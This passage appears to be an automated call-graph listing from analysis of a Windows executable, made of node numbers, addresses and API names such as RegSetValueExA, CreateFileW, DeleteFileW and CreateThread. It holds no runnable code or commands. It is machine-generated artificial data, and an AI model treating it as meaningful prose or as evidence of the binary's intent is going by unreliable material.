RtlAllocateHeap RaiseException 50835->51331 50836 21c22e WideCharToMultiByte 50836->50835 50839 21c24a 50836->50839 50838 21c265 WideCharToMultiByte 50838->50830 50840 21c280 50838->50840 50839->50838 51330 21c560 59 API calls 50839->51330 50840->50462 50843 213540 71 API calls 50842->50843 50844 24c00e 50843->50844 50845 24c0a5 50844->50845 50846 24c018 50844->50846 50847 213200 2 API calls 50845->50847 50875 24bfe0 84 API calls 50846->50875 50851 24c0af 50847->50851 50848 24c039 50849 24c042 RegCreateKeyA RegSetValueExA 50848->50849 50850 24c03d 50848->50850 50849->50850 50850->50467 50851->50851 50852 213540 71 API calls 50851->50852 50853 24c17b 50852->50853 50854 24c185 50853->50854 50855 24c209 50853->50855 50859 21c3e0 70 API calls 50854->50859 50856 213200 2 API calls 50855->50856 50857 24c213 50856->50857 50858 213540 71 API calls 50857->50858 50860 24c24f 50858->50860 50861 24c1a3 50859->50861 50863 213200 2 API calls 50860->50863 50870 24c259 50860->50870 50862 24c1b3 50861->50862 51335 22ca50 59 API calls 4 library calls 50861->51335 50874 24bfe0 84 API calls 50862->50874 50866 24c2ef RegOpenKeyA 50863->50866 50865 24c1c5 50868 27c18f _ValidateLocalCookies 5 API calls 50865->50868 50867 24c403 50866->50867 50871 24c332 50866->50871 50867->50467 50869 24c203 50868->50869 50869->50467 50870->50467 50873 24c3c2 50871->50873 51336 22ca50 59 API calls 4 library calls 50871->51336 50873->50467 50874->50865 50875->50848 50876->50357 51337 214c80 10 API calls 50877->51337 50879 214e90 50880 214f12 50879->50880 50881 214e96 FindResourceW 50879->50881 50880->50448 50881->50880 50882 214ead 50881->50882 51338 214d40 LoadResource LockResource SizeofResource 50882->51338 50884 214eb7 50884->50880 50885 214ede 50884->50885 51339 2150e0 59 API calls 50884->51339 51340 281961 57 API calls 3 library calls 50885->51340 50888 214eee 50888->50448 50890 21515c 50889->50890 50892 215166 50889->50892 51341 214f30 50890->51341 50895 2151a4 50892->50895 50910 2151e5 codecvt 50892->50910 51346 2150e0 59 API calls 50892->51346 50894 213200 2 API calls 50896 215259 50894->50896 50898 2151f2 50895->50898 50899 2151b6 50895->50899 50901 2151df codecvt 50898->50901 50902 2151fc 50898->50902 50898->50910 50903 2151c1 50899->50903 50904 2151ce 50899->50904 50899->50910 50900 21523d 50900->50448 50901->50910 51350 28194e 14 API calls __dosmaperr 50901->51350 51349 28194e 14 API calls __dosmaperr 50902->51349 51347 28194e 14 API calls __dosmaperr 50903->51347 50904->50901 50905 2151d2 50904->50905 51348 28194e 14 API calls __dosmaperr 50905->51348 50908 2151c6 51351 28155f 57 API calls ___std_exception_copy 50908->51351 50910->50894 50910->50900 50913->50452 50914->50477 50915->50487 50916->50478 50917->50484 50919 27c197 50918->50919 50920 27c198 IsProcessorFeaturePresent 50918->50920 50919->50485 50922 27c244 50920->50922 51352 27c207 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 50922->51352 50924 27c327 50924->50485 50929->50356 50932 216596 50931->50932 50939 2165a3 50931->50939 50933 211f20 59 API calls 50932->50933 50934 21659e 50933->50934 50937 27c18f _ValidateLocalCookies 5 API calls 50934->50937 50935 21670f 50936 211f20 59 API calls 50935->50936 50936->50934 50940 21673e 50937->50940 50938 2165e0 PathIsUNCW 50941 2165f5 50938->50941 50942 2166c9 50938->50942 50939->50935 50939->50938 50940->50365 50941->50935 50944 216623 50941->50944 50942->50935 50943 2166f3 50942->50943 50945 211f20 59 API calls 50943->50945 50946 211f20 59 API calls 50944->50946 50947 21662c codecvt 50945->50947 50946->50947 51353 216df0 58 API calls 50947->51353 50953->50400 50956 27a9e5 50955->50956 50957 27a9ec 50955->50957 50971 2889a9 6 API calls 2 library calls 50956->50971 50958 27a7ae 50957->50958 50972 27c020 EnterCriticalSection 50957->50972 50958->50525 50968 27a8f9 15 API calls 2 library calls 50958->50968 50962 2889b7 50961->50962 50963 27aa38 50961->50963 50974 288992 LeaveCriticalSection 50962->50974 50964 27aa4b 50963->50964 50973 27c02e LeaveCriticalSection 50963->50973 50964->50526 50966 2889be 50966->50526 50968->50524 50969->50528 50970->50525 50971->50958 50972->50958 50973->50964 50974->50966 50975->50545 50976->50547 50977->50549 50978->50551 50979->50553 50980->50534 50981->50568 50982->50570 50983->50572 50984->50574 50985->50564 50987 27c1b4 codecvt 3 API calls 50986->50987 50988 21c873 50987->50988 50989 21d5c0 50988->50989 51017 21e6a0 50989->51017 50992 21d61c 50995 27c1b4 codecvt 3 API calls 50992->50995 50993 21c87d 50993->50583 50993->50584 50994 21eb70 3 API calls 50996 21d614 50994->50996 50997 21d62b 50995->50997 50998 21d840 3 API calls 50996->50998 50999 27c1b4 codecvt 3 API calls 50997->50999 50998->50992 51002 21d699 50999->51002 51000 21e6a0 58 API calls 51000->51002 51001 21eb70 3 API calls 51001->51002 51002->50993 51002->51000 51002->51001 51003 27c1b4 codecvt 3 API calls 51002->51003 51004 21d840 3 API calls 51002->51004 51003->51002 51004->51002 51006 21d872 51005->51006 51007 27c1b4 codecvt 3 API calls 51006->51007 51008 21c88e 51007->51008 51009 21eb70 51008->51009 51010 27c1b4 codecvt 3 API calls 51009->51010 51011 21eb9d 51010->51011 51011->50590 51013 22375b 51012->51013 51014 22377b std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 51012->51014 51013->51012 51013->51014 51044 28156f 57 API calls 2 library calls 51013->51044 51014->50592 51018 21d5fb 51017->51018 51023 21e6b3 51017->51023 51018->50992 51018->50993 51018->50994 51019 21eb5a 51041 21d350 58 API calls 51019->51041 51021 21eb61 51042 21d350 58 API calls 51021->51042 51023->51018 51023->51019 51023->51021 51025 21eb68 51023->51025 51029 21eb53 51023->51029 51034 21eb70 RaiseException EnterCriticalSection LeaveCriticalSection 51023->51034 51035 21f850 58 API calls codecvt 51023->51035 51036 21f770 RaiseException EnterCriticalSection LeaveCriticalSection 51023->51036 51037 21f9e0 58 API calls 51023->51037 51038 21fdb0 58 API calls 3 library calls 51023->51038 51039 21fb80 58 API calls 51023->51039 51043 21d350 58 API calls 51025->51043 51040 21d350 58 API calls 51029->51040 51034->51023 51035->51023 51036->51023 51037->51023 51038->51023 51039->51023 51045->50597 51046->50600 51047->50615 51048->50615 51049->50615 51050->50609 51051->50601 51052->50605 51053->50612 51055 22c670 51054->51055 51062 22c537 51054->51062 51056 213200 2 API calls 51055->51056 51057 22c67a 51056->51057 51099 215260 RtlAllocateHeap RaiseException 51057->51099 51059 22c559 51059->50619 51060 22c67f 51063 213200 2 API calls 51060->51063 51061 213540 71 API calls 51067 22c59b 51061->51067 51062->51059 51062->51061 51062->51067 51064 22c689 51063->51064 51065 213200 2 API calls 51064->51065 51066 22c693 51065->51066 51068 22c6de 51066->51068 51069 22c87f 51066->51069 51067->51057 51067->51060 51067->51064 51070 22c5c3 51067->51070 51071 22c76b 51068->51071 51075 22c6ef 51068->51075 51072 213200 2 API calls 51069->51072 51070->51064 51085 22c603 codecvt 51070->51085 51073 22c822 51071->51073 51074 22c776 51071->51074 51076 22c841 51072->51076 51078 213540 71 API calls 51073->51078 51084 22c84e 51073->51084 51079 213540 71 API calls 51074->51079 51090 22c788 51074->51090 51075->51073 51083 22c724 std::_Locinfo::_Locinfo_dtor 51075->51083 51077 213200 2 API calls 51076->51077 51076->51084 51080 22c893 51077->51080 51078->51076 51082 22c796 51079->51082 51081 22c61f codecvt 51081->50619 51082->51076 51082->51090 51088 22c4e0 82 API calls 51083->51088 51084->50619 51085->51081 51097 28194e 14 API calls __dosmaperr 51085->51097 51087 22c641 51098 28155f 57 API calls ___std_exception_copy 51087->51098 51091 22c747 51088->51091 51092 22c7d0 51090->51092 51093 22c7dd 51090->51093 51091->50619 51094 214e80 68 API calls 51092->51094 51095 215150 59 API calls 51093->51095 51096 22c7db 51094->51096 51095->51096 51096->50619 51097->51087 51098->51081 51107 211f46 51103->51107 51104 21200c 51155 213a40 58 API calls 51104->51155 51106 211f62 codecvt 51106->50640 51107->51104 51107->51106 51108 211f87 51107->51108 51110 212007 51107->51110 51113 211fd1 51107->51113 51108->51110 51114 211fb9 51108->51114 51109 211fbf 51120 211fc6 codecvt 51109->51120 51156 28156f 57 API calls 2 library calls 51109->51156 51154 213e70 RaiseException _com_raise_error codecvt 51110->51154 51119 27c1b4 codecvt 3 API calls 51113->51119 51113->51120 51116 27c1b4 codecvt 3 API calls 51114->51116 51116->51109 51119->51120 51120->50640 51122 216899 51121->51122 51123 2168a4 51122->51123 51129 21699c 51122->51129 51124 2168c1 51123->51124 51125 216ade 51123->51125 51127 2137a0 59 API calls 51124->51127 51157 212470 58 API calls 51125->51157 51139 2168e5 51127->51139 51128 216ae3 51158 28156f 57 API calls 2 library calls 51128->51158 51131 2169f3 51129->51131 51132 216ae8 51129->51132 51145 216986 std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 51129->51145 51136 2137a0 59 API calls 51131->51136 51159 212470 58 API calls 51132->51159 51133 27c18f _ValidateLocalCookies 5 API calls 51134 2167ac 51133->51134 51146 216af0 51134->51146 51140 216a17 51136->51140 51137 216aed 51138 216914 51143 213f00 57 API calls 51138->51143 51139->51138 51141 213f00 57 API calls 51139->51141 51142 213f00 57 API calls 51140->51142 51141->51138 51142->51145 51144 216944 51143->51144 51144->51128 51144->51145 51145->51133 51152 216b6c codecvt 51146->51152 51147 216d9a std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 51147->50644 51149 216de8 51161 212470 58 API calls 51149->51161 51151 216ded 51152->51147 51152->51149 51160 28156f 57 API calls 2 library calls 51152->51160 51153->50645 51157->51128 51159->51137 51161->51151 51163->50662 51164->50673 51165->50676 51166->50672 51167->50680 51168->50681 51173 27c8b8 51170->51173 51174 27c863 51173->51174 51175 27c1b4 codecvt 3 API calls 51174->51175 51176 232475 GetTokenInformation 51175->51176 51176->50693 51176->50696 51178 213540 71 API calls 51177->51178 51200 23f4ac std::_Locinfo::_Locinfo_dtor 51178->51200 51179 23f949 51180 213200 2 API calls 51179->51180 51181 23f953 51180->51181 51183 213200 2 API calls 51181->51183 51182 23f50e 51231 236b90 51182->51231 51184 23f95d 51183->51184 51186 23f8df 51248 237cd0 51186->51248 51189 22c4e0 82 API calls 51189->51200 51190 213540 71 API calls 51190->51200 51191 23f669 51191->51200 51267 23f960 158 API calls 2 library calls 51191->51267 51192 215150 59 API calls 51192->51200 51199 214ba0 59 API calls 51199->51200 51200->51179 51200->51181 51200->51182 51200->51189 51200->51190 51200->51191 51200->51192 51200->51199 51268 235420 51200->51268 51292 2150e0 59 API calls 51200->51292 51293 235260 61 API calls ___crtCompareStringW 51200->51293 51294 250390 88 API calls 2 library calls 51200->51294 51295 215e60 51200->51295 51202 216449 51201->51202 51203 2164f0 51202->51203 51313 211da0 59 API calls 51202->51313 51203->50746 51205 2164cd 51205->50746 51217->50737 51218->50747 51219->50761 51220->50786 51221->50811 51224->50758 51225->50762 51232 236c06 51231->51232 51233 236bd5 51231->51233 51234 213540 71 API calls 51232->51234 51242 236c17 51232->51242 51233->51186 51234->51242 51235 236cf1 51236 213200 2 API calls 51235->51236 51239 236cfb 51236->51239 51237 236ce2 51238 213200 2 API calls 51237->51238 51240 236cec 51238->51240 51303 215260 RtlAllocateHeap RaiseException 51240->51303 51242->51235 51242->51237 51242->51240 51245 236c75 codecvt 51242->51245 51243 236c91 codecvt 51243->51186 51245->51243 51301 28194e 14 API calls __dosmaperr 51245->51301 51246 236cb3 51302 28155f 57 API calls ___std_exception_copy 51246->51302 51249 237d16 51248->51249 51250 213540 71 API calls 51249->51250 51253 237d26 51249->51253 51250->51253 51251 237e3c 51252 213200 2 API calls 51251->51252 51255 237e46 51252->51255 51253->51251 51257 237de5 codecvt 51253->51257 51261 237d8e codecvt 51253->51261 51304 2150e0 59 API calls 51253->51304 51254 213200 2 API calls 51254->51251 51257->51254 51259 21b4ec 51257->51259 51259->50728 51260 237da6 codecvt 51260->51257 51307 28194e 14 API calls __dosmaperr 51260->51307 51261->51260 51305 28194e 14 API calls __dosmaperr 51261->51305 51263 237dc2 51306 28155f 57 API calls ___std_exception_copy 51263->51306 51264 237e01 51308 28155f 57 API calls ___std_exception_copy 51264->51308 51267->51191 51269 213540 71 API calls 51268->51269 51273 23545e 51269->51273 51270 2355d0 51271 213200 2 API calls 51270->51271 51272 2355da 51271->51272 51275 213200 2 API calls 51272->51275 51273->51270 51274 23559f 51273->51274 51279 2355c6 51273->51279 51283 2354d7 51273->51283 51276 27c18f _ValidateLocalCookies 5 API calls 51274->51276 51277 2355e4 51275->51277 51278 2355c0 51276->51278 51280 235627 51277->51280 51281 23561b Wow64RevertWow64FsRedirection 51277->51281 51278->51200 51282 213200 2 API calls 51279->51282 51280->51200 51281->51280 51282->51270 51284 2354e5 51283->51284 51309 22e8c0 RtlAllocateHeap RaiseException ___std_exception_copy 51283->51309 51310 281961 57 API calls 3 library calls 51284->51310 51287 2354fd 51287->51272 51290 235531 51287->51290 51311 2150e0 59 API calls 51287->51311 51289 235581 51289->51274 51312 22e870 14 API calls __freea 51289->51312 51290->51272 51290->51289 51290->51290 51292->51200 51293->51200 51294->51200 51296 215ec3 51295->51296 51297 215e76 51295->51297 51296->51200 51298 215150 59 API calls 51297->51298 51300 215e86 51297->51300 51299 215ebb 51298->51299 51299->51200 51300->51200 51301->51246 51302->51243 51304->51261 51305->51263 51306->51260 51307->51264 51308->51257 51309->51284 51310->51287 51311->51290 51312->51274 51313->51205 51315 21c3f4 51314->51315 51316 21c226 51314->51316 51315->51316 51332 214c80 10 API calls 51315->51332 51316->50835 51316->50836 51316->50840 51318 21c409 51318->51316 51319 21c413 FindResourceW 51318->51319 51319->51316 51320 21c427 51319->51320 51333 214d40 LoadResource LockResource SizeofResource 51320->51333 51322 21c431 51322->51316 51323 21c43a WideCharToMultiByte 51322->51323 51324 21c4a6 51323->51324 51325 21c45a 51323->51325 51326 213200 2 API calls 51324->51326 51327 21c475 WideCharToMultiByte 51325->51327 51334 21c560 59 API calls 51325->51334 51328 21c4b0 51326->51328 51327->51316 51327->51324 51330->50838 51331->50840 51332->51318 51333->51322 51334->51327 51335->50862 51336->50873 51337->50879 51338->50884 51339->50885 51340->50888 51342 214f63 51341->51342 51343 214f72 51341->51343 51342->51343 51344 213200 2 API calls 51342->51344 51343->50448 51345 214fcc 51344->51345 51346->50895 51347->50908 51348->50908 51349->50908 51350->50908 51351->50910 51352->50924 51355 27c54b 51354->51355 51356 27c550 LeaveCriticalSection 51355->51356 51363 27c5bf SleepConditionVariableCS LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 51355->51363 51356->50494 51359->50499 51360->50503 51361->50500 51362->50504 51363->51355 51364->50511 51365->50514 51366->50512 51367 229960 CoInitializeEx 51368 2299e9 51367->51368 51369 22999d 51367->51369 51378 224a70 51368->51378 51438 2273d0 144 API calls 4 library calls 51369->51438 51373 2299b6 51439 27b22d GetCurrentThreadId EnterCriticalSection LeaveCriticalSection __Mtx_unlock __Cnd_broadcast 51373->51439 51376 2299bf std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 51379 224a83 Concurrency::cancel_current_task 51378->51379 51380 224a9a 51378->51380 51384 27dd5e _com_raise_error RaiseException 51379->51384 51381 224ac0 51380->51381 51440 224520 79 API calls 51380->51440 51383 224ae6 51381->51383 51441 2245f0 79 API calls 51381->51441 51387 224b0c 51383->51387 51442 224650 79 API calls 51383->51442 51384->51380 51385 224ab1 51389 27dd5e _com_raise_error RaiseException 51385->51389 51388 224b32 51387->51388 51443 2246b0 79 API calls 51387->51443 51393 224b58 51388->51393 51444 224710 79 API calls 51388->51444 51389->51381 51390 224ad7 51394 27dd5e _com_raise_error RaiseException 51390->51394 51399 224b7e 51393->51399 51445 224770 79 API calls 51393->51445 51394->51383 51395 224afd 51396 27dd5e _com_raise_error RaiseException 51395->51396 51396->51387 51397 224b23 51401 27dd5e _com_raise_error RaiseException 51397->51401 51400 224ba4 51399->51400 51446 2247d0 79 API calls 51399->51446 51405 224bca 51400->51405 51447 224830 79 API calls 51400->51447 51401->51388 51402 224b49 51406 27dd5e _com_raise_error RaiseException 51402->51406 51410 224bf0 51405->51410 51448 224890 79 API calls 51405->51448 51406->51393 51407 224b6f 51411 27dd5e _com_raise_error RaiseException 51407->51411 51408 224b95 51412 27dd5e _com_raise_error RaiseException 51408->51412 51416 224c16 51410->51416 51449 2248f0 79 API calls 51410->51449 51411->51399 51412->51400 51413 224bbb 51417 27dd5e _com_raise_error RaiseException 51413->51417 51422 224c3c 51416->51422 51450 224950 79 API calls 51416->51450 51417->51405 51418 224be1 51423 27dd5e _com_raise_error RaiseException 51418->51423 51419 224c07 51424 27dd5e _com_raise_error RaiseException 51419->51424 51421 224c62 51427 224c88 51421->51427 51452 224a10 79 API calls 51421->51452 51422->51421 51451 2249b0 79 API calls 51422->51451 51423->51410 51424->51416 51425 224c2d 51430 27dd5e _com_raise_error RaiseException 51425->51430 51453 224150 79 API calls _unexpected 51427->51453 51430->51422 51431 224c53 51434 27dd5e _com_raise_error RaiseException 51431->51434 51432 224c79 51435 27dd5e _com_raise_error RaiseException 51432->51435 51433 224c9a 51436 27dd5e _com_raise_error RaiseException 51433->51436 51434->51421 51435->51427 51437 224ca9 51436->51437 51438->51373 51439->51376 51440->51385 51441->51390 51442->51395 51443->51397 51444->51402 51445->51407 51446->51408 51447->51413 51448->51418 51449->51419 51450->51425 51451->51431 51452->51432 51453->51433 51454 2356c0 MsgWaitForMultipleObjectsEx 51455 2356d1 51454->51455 51456 235680 51454->51456 51457 235685 PeekMessageW 51456->51457 51458 2356db 51456->51458 51459 2356bb MsgWaitForMultipleObjectsEx 51457->51459 51460 2356ad TranslateMessage DispatchMessageW 51457->51460 51459->51455 51459->51456 51460->51459 51461 248500 51467 24fae0 51461->51467 51490 248140 51461->51490 51462 248577 51463 2485ae 51462->51463 51464 2485c8 SetWindowLongW 51462->51464 51464->51463 51468 24fc35 51467->51468 51469 24fb11 51467->51469 51468->51462 51470 24fbf3 51469->51470 51471 24fb1f 51469->51471 51470->51468 51474 24fc05 EndDialog 51470->51474 51505 257990 51471->51505 51473 24fb2e 51510 248840 GetWindowLongW 51473->51510 51474->51462 51477 213540 71 API calls 51478 24fb49 51477->51478 51479 24fb53 51478->51479 51480 24fc7c 51478->51480 51483 214e80 68 API calls 51479->51483 51481 213200 2 API calls 51480->51481 51482 24fc86 51481->51482 51530 24fcb0 11 API calls 51482->51530 51485 24fb72 GetDlgItem SetWindowTextW 51483->51485 51524 25ea60 51485->51524 51488 24fc98 std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 51488->51462 51489 24fbc9 51489->51462 51491 248154 51490->51491 51492 2481f7 51490->51492 51493 248196 51491->51493 51494 24815e 51491->51494 51492->51462 51495 2481cd 51493->51495 51496 24819d 51493->51496 51497 257990 8 API calls 51494->51497 51495->51492 51499 2481d4 DestroyWindow 51495->51499 51496->51492 51498 2481a8 EnableWindow 51496->51498 51500 24816d 51497->51500 51498->51462 51499->51462 51745 248410 6 API calls 51500->51745 51503 248840 19 API calls 51504 248180 51503->51504 51504->51462 51531 237530 LoadLibraryW 51505->51531 51508 237530 6 API calls 51509 2579c0 SendMessageW SendMessageW 51508->51509 51509->51473 51511 248896 6 API calls 51510->51511 51512 2488df GetWindow GetWindowRect 51510->51512 51513 248949 SetWindowPos 51511->51513 51514 24890f MonitorFromWindow 51512->51514 51515 2488fa GetWindowLongW 51512->51515 51518 2489e5 51513->51518 51514->51518 51519 248923 GetMonitorInfoW 51514->51519 51515->51514 51521 27c18f _ValidateLocalCookies 5 API calls 51518->51521 51519->51518 51520 24893d 51519->51520 51520->51513 51522 248954 GetWindowRect 51520->51522 51523 2489fe SetWindowTextW 51521->51523 51522->51513 51523->51477 51525 25ea80 GetWindowLongW 51524->51525 51526 25ea93 GetWindow 51525->51526 51527 25ea8e GetParent 51525->51527 51528 25ea9c 51526->51528 51527->51528 51528->51525 51529 24fb96 CreateThread 51528->51529 51529->51489 51538 24ff50 CoInitialize 51529->51538 51530->51488 51532 2375b4 GetSystemMetrics GetSystemMetrics LoadImageW 51531->51532 51533 23758b GetProcAddress 51531->51533 51537 2375af 51532->51537 51533->51532 51534 23759b 51533->51534 51534->51532 51534->51537 51535 23760e FreeLibrary 51536 23761c 51535->51536 51536->51508 51537->51535 51537->51536 51549 24cf30 51538->51549 51540 24ffe3 51541 24fff6 51540->51541 51542 24fff0 CoUninitialize 51540->51542 51542->51541 51629 24f8e0 51549->51629 51553 213540 71 API calls 51560 24d125 51553->51560 51554 24d902 51555 213200 2 API calls 51554->51555 51557 24d90c 51555->51557 51556 24d8f8 51559 213200 2 API calls 51556->51559 51558 24d11d 51558->51553 51559->51554 51560->51554 51599 24d179 51560->51599 51638 242080 73 API calls 51560->51638 51562 24d157 51565 215150 59 API calls 51562->51565 51562->51599 51563 24d772 51564 27c18f _ValidateLocalCookies 5 API calls 51563->51564 51566 24d7b0 51564->51566 51565->51599 51566->51540 51610 24dd20 51566->51610 51567 213540 71 API calls 51608 24cf95 51567->51608 51569 24d7b7 51569->51563 51570 213540 71 API calls 51569->51570 51571 24d7c5 51570->51571 51571->51554 51572 24d7cf 51571->51572 51576 214ba0 59 API calls 51572->51576 51575 24d464 CreateFileW 51577 24d493 CloseHandle 51575->51577 51578 24d4a9 GetFileSize 51575->51578 51579 24d7ed 51576->51579 51604 24d37b 51577->51604 51582 24d4c3 CloseHandle 51578->51582 51578->51604 51648 238250 149 API calls 51579->51648 51581 214ba0 59 API calls 51581->51599 51582->51604 51584 24d829 51587 24d823 51584->51587 51588 24d83b DeleteFileW 51584->51588 51585 214fe0 59 API calls 51585->51599 51587->51584 51649 214fe0 59 API calls 3 library calls 51587->51649 51593 24d7fb 51588->51593 51594 24d84c 51588->51594 51591 238250 149 API calls 51591->51604 51593->51563 51595 213540 71 API calls 51594->51595 51598 24d851 51595->51598 51596 24d8c6 51651 22ce20 14 API calls __freea 51596->51651 51597 213540 71 API calls 51597->51599 51598->51554 51600 24d85b 51598->51600 51599->51554 51599->51556 51599->51563 51599->51569 51599->51575 51599->51581 51599->51585 51599->51596 51599->51597 51599->51599 51599->51604 51639 228870 51599->51639 51642 24f3f0 90 API calls codecvt 51599->51642 51643 22c340 59 API calls 2 library calls 51599->51643 51645 2373a0 86 API calls 51599->51645 51646 2426f0 RtlAllocateHeap RaiseException __Getctype 51599->51646 51647 22ce20 14 API calls __freea 51599->51647 51603 214ba0 59 API calls 51600->51603 51602 214ba0 59 API calls 51602->51604 51606 24d879 51603->51606 51604->51584 51604->51587 51604->51591 51604->51599 51604->51602 51644 259b60 12 API calls _ValidateLocalCookies 51604->51644 51605 215e60 59 API calls 51605->51608 51650 238250 149 API calls 51606->51650 51608->51554 51608->51556 51608->51558 51608->51567 51608->51605 51637 24f930 16 API calls 51608->51637 51611 24dd59 51610->51611 51612 213540 71 API calls 51611->51612 51613 24dd5e 51612->51613 51614 24e0a1 51613->51614 51618 213540 71 API calls 51613->51618 51615 213200 2 API calls 51614->51615 51616 24e0ab 51615->51616 51617 213200 2 API calls 51616->51617 51619 24e0b5 51617->51619 51621 24dd7f 51618->51621 51620 24e02b 51620->51540 51626 24e6f0 51620->51626 51621->51614 51621->51616 51621->51620 51622 213540 71 API calls 51621->51622 51623 24dea1 51621->51623 51622->51621 51623->51621 51624 228870 84 API calls 51623->51624 51625 24df2d GetForegroundWindow 51623->51625 51624->51623 51625->51623 51720 240d70 51626->51720 51628 24e725 51630 24cf81 51629->51630 51631 24f8e8 51629->51631 51633 22c2a0 51630->51633 51652 286e75 14 API calls ___free_lconv_mon 51631->51652 51634 22c309 51633->51634 51635 22c2cc 51633->51635 51634->51608 51653 286e75 14 API calls ___free_lconv_mon 51635->51653 51637->51608 51638->51562 51654 228fb0 51639->51654 51642->51599 51643->51599 51644->51604 51645->51599 51646->51599 51647->51599 51648->51593 51649->51588 51650->51593 51651->51563 51652->51630 51653->51634 51655 228fe3 51654->51655 51672 2290cb 51654->51672 51674 286de8 51655->51674 51656 213200 2 API calls 51657 22911d 51656->51657 51659 213200 2 API calls 51657->51659 51660 229127 51659->51660 51661 213540 71 API calls 51663 229031 51661->51663 51663->51657 51664 22906a 51663->51664 51665 22905c 51663->51665 51668 215150 59 API calls 51664->51668 51666 214e80 68 API calls 51665->51666 51667 229068 51666->51667 51669 2290ab 51667->51669 51686 2150e0 59 API calls 51667->51686 51668->51667 51680 286e29 51669->51680 51672->51656 51673 228883 51672->51673 51673->51599 51675 286dfc _Fputc 51674->51675 51687 28300b 51675->51687 51681 286e3d _Fputc 51680->51681 51709 28322d 51681->51709 51684 28129b _Fputc 57 API calls 51685 286e65 51684->51685 51685->51672 51686->51669 51688 28305a 51687->51688 51689 283037 51687->51689 51688->51689 51692 283062 51688->51692 51704 2814e2 57 API calls 3 library calls 51689->51704 51691 27c18f _ValidateLocalCookies 5 API calls 51693 28318c 51691->51693 51705 2857ad 59 API calls _Fputc 51692->51705 51698 28129b 51693->51698 51696 2830e3 51706 284ccf 14 API calls ___free_lconv_mon 51696->51706 51697 28304f 51697->51691 51699 2812a7 51698->51699 51700 2812be 51699->51700 51707 281346 57 API calls 2 library calls 51699->51707 51701 229003 51700->51701 51708 281346 57 API calls 2 library calls 51700->51708 51701->51657 51701->51661 51701->51663 51704->51697 51705->51696 51706->51697 51707->51700 51708->51701 51710 283239 51709->51710 51711 28325c 51709->51711 51717 2814e2 57 API calls 3 library calls 51710->51717 51716 283283 51711->51716 51718 282d14 59 API calls 2 library calls 51711->51718 51715 283254 51715->51684 51716->51715 51719 2814e2 57 API calls 3 library calls 51716->51719 51717->51715 51718->51716 51719->51715 51721 213540 71 API calls 51720->51721 51722 240d9d 51721->51722 51723 240da7 51722->51723 51724 240e51 51722->51724 51727 240dd3 51723->51727 51728 240dc8 51723->51728 51725 213200 2 API calls 51724->51725 51726 240e5b 51725->51726 51732 233cc0 51727->51732 51729 214e80 68 API calls 51728->51729 51731 240dd1 51729->51731 51731->51628 51733 233d2a 51732->51733 51734 233ccd MultiByteToWideChar 51732->51734 51736 214f30 2 API calls 51733->51736 51734->51733 51735 233ce5 51734->51735 51737 233d00 MultiByteToWideChar 51735->51737 51744 2150e0 59 API calls 51735->51744 51738 233d31 51736->51738 51740 233d17 51737->51740 51741 233d39 51737->51741 51738->51731 51740->51731 51742 213200 2 API calls 51741->51742 51743 233d43 51742->51743 51744->51737 51746 2484a3 51745->51746 51747 2484aa SetWindowPos 51745->51747 51746->51747 51748 27c18f _ValidateLocalCookies 5 API calls 51747->51748 51749 248177 51748->51749 51749->51503 51750 24fd70 GetDlgItem SendMessageW SendMessageW 51751 24fee0 51752 24ff2b 51751->51752 51753 24feea GetDlgItem SetWindowTextW GetDlgItem SendMessageW 51751->51753 51753->51752 51754 24c671 51785 27d3f0 51754->51785 51757 232540 3 API calls 51758 24c71b RegEnumValueA 51757->51758 51759 213540 71 API calls 51758->51759 51761 24c741 51759->51761 51760 24c846 51762 213200 2 API calls 51760->51762 51761->51760 51787 22ca50 59 API calls 4 library calls 51761->51787 51770 24c850 51762->51770 51764 24c763 51765 213540 71 API calls 51764->51765 51766 24c76c 51765->51766 51766->51760 51767 24c776 51766->51767 51768 21c3e0 70 API calls 51767->51768 51769 24c791 51768->51769 51771 24c7a1 51769->51771 51788 22ca50 59 API calls 4 library calls 51769->51788 51772 24c8d4 51770->51772 51773 24c96a 51770->51773 51783 24c8dc 51770->51783 51789 246770 51771->51789 51802 287619 57 API calls 51772->51802 51777 213200 2 API calls 51773->51777 51779 24c974 51777->51779 51778 24c7b3 51780 246770 59 API calls 51778->51780 51781 24c7c3 51780->51781 51782 27c18f _ValidateLocalCookies 5 API calls 51781->51782 51784 24c83c 51782->51784 51786 24c692 RegEnumValueA 51785->51786 51786->51757 51787->51764 51788->51771 51790 2467ac 51789->51790 51791 2467bb codecvt 51790->51791 51792 24685b 51790->51792 51797 2467d5 codecvt 51790->51797 51791->51778 51806 215260 RtlAllocateHeap RaiseException 51792->51806 51794 2467eb 51803 28194e 14 API calls __dosmaperr 51794->51803 51797->51791 51797->51794 51799 246822 51797->51799 51798 2467f0 51805 28155f 57 API calls ___std_exception_copy 51798->51805 51799->51791 51804 28194e 14 API calls __dosmaperr 51799->51804 51802->51783 51803->51798 51804->51798 51805->51791 51807 24fdd1 51808 24fdea 51807->51808 51809 24fe0d 51808->51809 51810 24fdfe EndDialog 51808->51810 51817 24cd00 220 API calls 51809->51817 51812 24fe13 51818 24eb60 59 API calls 51812->51818 51814 24fe1b 51815 24fe35 EndDialog 51814->51815 51816 24fe23 EndDialog 51814->51816 51816->51815 51817->51812 51818->51814 51819 257fd0 51820 213540 71 API calls 51819->51820 51821 25807c 51820->51821 51822 2581dd 51821->51822 51825 213540 71 API calls 51821->51825 51823 213200 2 API calls 51822->51823 51824 2581e7 51823->51824 51838 258350 IsWindow 51824->51838 51827 25809f 51825->51827 51827->51822 51829 213540 71 API calls 51827->51829 51828 2581f8 std::_Fac_tidy_reg_t::~_Fac_tidy_reg_t 51830 25810b 51829->51830 51830->51822 51831 213540 71 API calls 51830->51831 51832 258180 51831->51832 51832->51822 51833 213540 71 API calls 51832->51833 51834 2581a2 51833->51834 51834->51822 51835 2581a6 51834->51835 51845 25e870 51835->51845 51839 2583ac EndDialog 51838->51839 51840 2583b7 51838->51840 51839->51840 51842 258493 51840->51842 51854 27a206 10 API calls 51840->51854 51843 25850b 51842->51843 51855 27a206 10 API calls 51842->51855 51843->51828 51856 23c260 51845->51856 51848 2581c1 51849 27c537 6 API calls 51852 25e8ef codecvt 51849->51852 51850 25e9b4 CoCreateInstance 51850->51848 51851 25e974 51851->51848 51851->51850 51852->51851 51864 27c4ed 